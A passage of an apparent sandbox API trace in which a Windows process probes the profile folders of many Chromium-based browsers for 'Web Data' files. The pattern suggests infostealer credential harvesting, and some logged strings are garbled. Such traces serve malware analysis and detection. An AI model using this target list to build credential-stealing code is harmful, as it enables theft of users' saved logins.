Data敳獲䡜獩潴祲䝜潯汧䍥牨浯彥敄慦汵⹴硴潴汧⹥潣⽭灵慤整⼲湩瑳污敬獲振楬正湯散䜯潯汧䥥獮慴汬牥摟⹥灡汰捩瑡潩㽮灡杰極╤䐳㜥㡂㙁䐹㐳ⴵ㕄㐶㐭㌶ⵃ䙁ㅆ䄭㤶㥄㕅〳㥆┶䐷㈥椶摩㌥╄䈷㠶㔵䌴㄰䔭㡃ⴰ㜲䔵䐭䐸ⴹ䉅ㄳ䔸ぅ㉂㐴㜥╄㘲慬杮㌥摄╥㘲牢睯敳╲䐳┲㘲獵条獥慴獴㌥い㈥愶灰慮敭㌥䝄潯汧╥㔲〲桃潲敭㈥渶敥獤摡業╮䐳牰晥牥╳㘲灡㌥硄㐶猭慴汢ⵥ瑳瑡") returned 8 [0075.130] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0075.130] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0075.130] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\CocCoc\\Browser\\User Data\\", lpDst=0x48e004c, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\CocCoc\\Browser\\User Data\\") returned 0x46 [0075.130] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*.*", lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0075.130] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3984c18, cbMultiByte=8, lpWideCharStr=0x18d148, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䡜獩潴祲䝜潯汧䍥牨浯彥敄慦汵⹴硴潴汧⹥潣⽭灵慤整⼲湩瑳污敬獲振楬正湯散䜯潯汧䥥獮慴汬牥摟⹥灡汰捩瑡潩㽮灡杰極╤䐳㜥㡂㙁䐹㐳ⴵ㕄㐶㐭㌶ⵃ䙁ㅆ䄭㤶㥄㕅〳㥆┶䐷㈥椶摩㌥╄䈷㠶㔵䌴㄰䔭㡃ⴰ㜲䔵䐭䐸ⴹ䉅ㄳ䔸ぅ㉂㐴㜥╄㘲慬杮㌥摄╥㘲牢睯敳╲䐳┲㘲獵条獥慴獴㌥い㈥愶灰慮敭㌥䝄潯汧╥㔲〲桃潲敭㈥渶敥獤摡業╮䐳牰晥牥╳㘲灡㌥硄㐶猭慴汢ⵥ瑳瑡") returned 8 [0075.130] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0075.130] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0075.130] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\CentBrowser\\User Data\\", lpDst=0x48e004c, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\CentBrowser\\User Data\\") returned 0x43 [0075.130] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\CentBrowser\\User Data\\\\*.*", lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0075.130] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3984c18, cbMultiByte=8, lpWideCharStr=0x18d148, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䡜獩潴祲䝜潯汧䍥牨浯彥敄慦汵⹴硴潴汧⹥潣⽭灵慤整⼲湩瑳污敬獲振楬正湯散䜯潯汧䥥獮慴汬牥摟⹥灡汰捩瑡潩㽮灡杰極╤䐳㜥㡂㙁䐹㐳ⴵ㕄㐶㐭㌶ⵃ䙁ㅆ䄭㤶㥄㕅〳㥆┶䐷㈥椶摩㌥╄䈷㠶㔵䌴㄰䔭㡃ⴰ㜲䔵䐭䐸ⴹ䉅ㄳ䔸ぅ㉂㐴㜥╄㘲慬杮㌥摄╥㘲牢睯敳╲䐳┲㘲獵条獥慴獴㌥い㈥愶灰慮敭㌥䝄潯汧╥㔲〲桃潲敭㈥渶敥獤摡業╮䐳牰晥牥╳㘲灡㌥硄㐶猭慴汢ⵥ瑳瑡") returned 8 [0075.130] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0075.130] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0075.130] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\7Star\\7Star\\User Data\\", lpDst=0x48e004c, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\7Star\\7Star\\User Data\\") returned 0x43 [0075.130] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\7Star\\7Star\\User Data\\\\*.*", lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0075.130] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3984c18, cbMultiByte=8, lpWideCharStr=0x18d148, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䡜獩潴祲䝜潯汧䍥牨浯彥敄慦汵⹴硴潴汧⹥潣⽭灵慤整⼲湩瑳污敬獲振楬正湯散䜯潯汧䥥獮慴汬牥摟⹥灡汰捩瑡潩㽮灡杰極╤䐳㜥㡂㙁䐹㐳ⴵ㕄㐶㐭㌶ⵃ䙁ㅆ䄭㤶㥄㕅〳㥆┶䐷㈥椶摩㌥╄䈷㠶㔵䌴㄰䔭㡃ⴰ㜲䔵䐭䐸ⴹ䉅ㄳ䔸ぅ㉂㐴㜥╄㘲慬杮㌥摄╥㘲牢睯敳╲䐳┲㘲獵条獥慴獴㌥い㈥愶灰慮敭㌥䝄潯汧╥㔲〲桃潲敭㈥渶敥獤摡業╮䐳牰晥牥╳㘲灡㌥硄㐶猭慴汢ⵥ瑳瑡") returned 8 [0075.130] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0075.130] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0075.131] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Elements Browser\\User Data\\", lpDst=0x48e004c, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Elements Browser\\User Data\\") returned 0x48 [0075.131] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Elements Browser\\User Data\\\\*.*", lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0075.131] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3984c18, cbMultiByte=8, lpWideCharStr=0x18d148, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䡜獩潴祲䝜潯汧䍥牨浯彥敄慦汵⹴硴潴汧⹥潣⽭灵慤整⼲湩瑳污敬獲振楬正湯散䜯潯汧䥥獮慴汬牥摟⹥灡汰捩瑡潩㽮灡杰極╤䐳㜥㡂㙁䐹㐳ⴵ㕄㐶㐭㌶ⵃ䙁ㅆ䄭㤶㥄㕅〳㥆┶䐷㈥椶摩㌥╄䈷㠶㔵䌴㄰䔭㡃ⴰ㜲䔵䐭䐸ⴹ䉅ㄳ䔸ぅ㉂㐴㜥╄㘲慬杮㌥摄╥㘲牢睯敳╲䐳┲㘲獵条獥慴獴㌥い㈥愶灰慮敭㌥䝄潯汧╥㔲〲桃潲敭㈥渶敥獤摡業╮䐳牰晥牥╳㘲灡㌥硄㐶猭慴汢ⵥ瑳瑡") returned 8 [0075.131] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0075.131] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0075.131] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\TorBro\\Profile\\", lpDst=0x48e004c, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\TorBro\\Profile\\") returned 0x3c [0075.131] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\TorBro\\Profile\\\\*.*", lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0075.131] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3984c18, cbMultiByte=8, lpWideCharStr=0x18d148, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䡜獩潴祲䝜潯汧䍥牨浯彥敄慦汵⹴硴潴汧⹥潣⽭灵慤整⼲湩瑳污敬獲振楬正湯散䜯潯汧䥥獮慴汬牥摟⹥灡汰捩瑡潩㽮灡杰極╤䐳㜥㡂㙁䐹㐳ⴵ㕄㐶㐭㌶ⵃ䙁ㅆ䄭㤶㥄㕅〳㥆┶䐷㈥椶摩㌥╄䈷㠶㔵䌴㄰䔭㡃ⴰ㜲䔵䐭䐸ⴹ䉅ㄳ䔸ぅ㉂㐴㜥╄㘲慬杮㌥摄╥㘲牢睯敳╲䐳┲㘲獵条獥慴獴㌥い㈥愶灰慮敭㌥䝄潯汧╥㔲〲桃潲敭㈥渶敥獤摡業╮䐳牰晥牥╳㘲灡㌥硄㐶猭慴汢ⵥ瑳瑡") returned 8 [0075.131] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0075.131] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0075.131] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Suhba\\User Data\\", lpDst=0x48e004c, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Suhba\\User Data\\") returned 0x3d [0075.131] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Suhba\\User Data\\\\*.*", lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0075.131] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3984c18, cbMultiByte=8, lpWideCharStr=0x18d148, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䡜獩潴祲䝜潯汧䍥牨浯彥敄慦汵⹴硴潴汧⹥潣⽭灵慤整⼲湩瑳污敬獲振楬正湯散䜯潯汧䥥獮慴汬牥摟⹥灡汰捩瑡潩㽮灡杰極╤䐳㜥㡂㙁䐹㐳ⴵ㕄㐶㐭㌶ⵃ䙁ㅆ䄭㤶㥄㕅〳㥆┶䐷㈥椶摩㌥╄䈷㠶㔵䌴㄰䔭㡃ⴰ㜲䔵䐭䐸ⴹ䉅ㄳ䔸ぅ㉂㐴㜥╄㘲慬杮㌥摄╥㘲牢睯敳╲䐳┲㘲獵条獥慴獴㌥い㈥愶灰慮敭㌥䝄潯汧╥㔲〲桃潲敭㈥渶敥獤摡業╮䐳牰晥牥╳㘲灡㌥硄㐶猭慴汢ⵥ瑳瑡") returned 8 [0075.131] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0075.131] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0075.131] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Safer Technologies\\Secure Browser\\User Data\\", lpDst=0x48e004c, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Safer Technologies\\Secure Browser\\User Data\\") returned 0x59 [0075.131] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Safer Technologies\\Secure Browser\\User Data\\\\*.*", lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0075.131] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3984c18, cbMultiByte=8, lpWideCharStr=0x18d148, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䡜獩潴祲䝜潯汧䍥牨浯彥敄慦汵⹴硴潴汧⹥潣⽭灵慤整⼲湩瑳污敬獲振楬正湯散䜯潯汧䥥獮慴汬牥摟⹥灡汰捩瑡潩㽮灡杰極╤䐳㜥㡂㙁䐹㐳ⴵ㕄㐶㐭㌶ⵃ䙁ㅆ䄭㤶㥄㕅〳㥆┶䐷㈥椶摩㌥╄䈷㠶㔵䌴㄰䔭㡃ⴰ㜲䔵䐭䐸ⴹ䉅ㄳ䔸ぅ㉂㐴㜥╄㘲慬杮㌥摄╥㘲牢睯敳╲䐳┲㘲獵条獥慴獴㌥い㈥愶灰慮敭㌥䝄潯汧╥㔲〲桃潲敭㈥渶敥獤摡業╮䐳牰晥牥╳㘲灡㌥硄㐶猭慴汢ⵥ瑳瑡") returned 8 [0075.132] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0075.132] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0075.132] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Rafotech\\Mustang\\User Data\\", lpDst=0x48e004c, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Rafotech\\Mustang\\User Data\\") returned 0x48 [0075.132] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Rafotech\\Mustang\\User Data\\\\*.*", lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0075.132] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3984c18, cbMultiByte=8, lpWideCharStr=0x18d148, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䡜獩潴祲䝜潯汧䍥牨浯彥敄慦汵⹴硴潴汧⹥潣⽭灵慤整⼲湩瑳污敬獲振楬正湯散䜯潯汧䥥獮慴汬牥摟⹥灡汰捩瑡潩㽮灡杰極╤䐳㜥㡂㙁䐹㐳ⴵ㕄㐶㐭㌶ⵃ䙁ㅆ䄭㤶㥄㕅〳㥆┶䐷㈥椶摩㌥╄䈷㠶㔵䌴㄰䔭㡃ⴰ㜲䔵䐭䐸ⴹ䉅ㄳ䔸ぅ㉂㐴㜥╄㘲慬杮㌥摄╥㘲牢睯敳╲䐳┲㘲獵条獥慴獴㌥い㈥愶灰慮敭㌥䝄潯汧╥㔲〲桃潲敭㈥渶敥獤摡業╮䐳牰晥牥╳㘲灡㌥硄㐶猭慴汢ⵥ瑳瑡") returned 8 [0075.132] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0075.132] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0075.132] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Superbird\\User Data\\", lpDst=0x48e004c, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Superbird\\User Data\\") returned 0x41 [0075.132] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Superbird\\User Data\\\\*.*", lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0075.132] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3984c18, cbMultiByte=8, lpWideCharStr=0x18d148, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䡜獩潴祲䝜潯汧䍥牨浯彥敄慦汵⹴硴潴汧⹥潣⽭灵慤整⼲湩瑳污敬獲振楬正湯散䜯潯汧䥥獮慴汬牥摟⹥灡汰捩瑡潩㽮灡杰極╤䐳㜥㡂㙁䐹㐳ⴵ㕄㐶㐭㌶ⵃ䙁ㅆ䄭㤶㥄㕅〳㥆┶䐷㈥椶摩㌥╄䈷㠶㔵䌴㄰䔭㡃ⴰ㜲䔵䐭䐸ⴹ䉅ㄳ䔸ぅ㉂㐴㜥╄㘲慬杮㌥摄╥㘲牢睯敳╲䐳┲㘲獵条獥慴獴㌥い㈥愶灰慮敭㌥䝄潯汧╥㔲〲桃潲敭㈥渶敥獤摡業╮䐳牰晥牥╳㘲灡㌥硄㐶猭慴汢ⵥ瑳瑡") returned 8 [0075.132] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0075.132] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0075.132] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Chedot\\User Data\\", lpDst=0x48e004c, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Chedot\\User Data\\") returned 0x3e [0075.132] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Chedot\\User Data\\\\*.*", lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0075.132] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3984c18, cbMultiByte=8, lpWideCharStr=0x18d148, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䡜獩潴祲䝜潯汧䍥牨浯彥敄慦汵⹴硴潴汧⹥潣⽭灵慤整⼲湩瑳污敬獲振楬正湯散䜯潯汧䥥獮慴汬牥摟⹥灡汰捩瑡潩㽮灡杰極╤䐳㜥㡂㙁䐹㐳ⴵ㕄㐶㐭㌶ⵃ䙁ㅆ䄭㤶㥄㕅〳㥆┶䐷㈥椶摩㌥╄䈷㠶㔵䌴㄰䔭㡃ⴰ㜲䔵䐭䐸ⴹ䉅ㄳ䔸ぅ㉂㐴㜥╄㘲慬杮㌥摄╥㘲牢睯敳╲䐳┲㘲獵条獥慴獴㌥い㈥愶灰慮敭㌥䝄潯汧╥㔲〲桃潲敭㈥渶敥獤摡業╮䐳牰晥牥╳㘲灡㌥硄㐶猭慴汢ⵥ瑳瑡") returned 8 [0075.132] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0075.132] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0075.132] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Torch\\User Data\\", lpDst=0x48e004c, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Torch\\User Data\\") returned 0x3d [0075.133] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Torch\\User Data\\\\*.*", lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0075.133] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3984c18, cbMultiByte=8, lpWideCharStr=0x18d148, cchWideChar=2047 | out: lpWideCharStr="Web 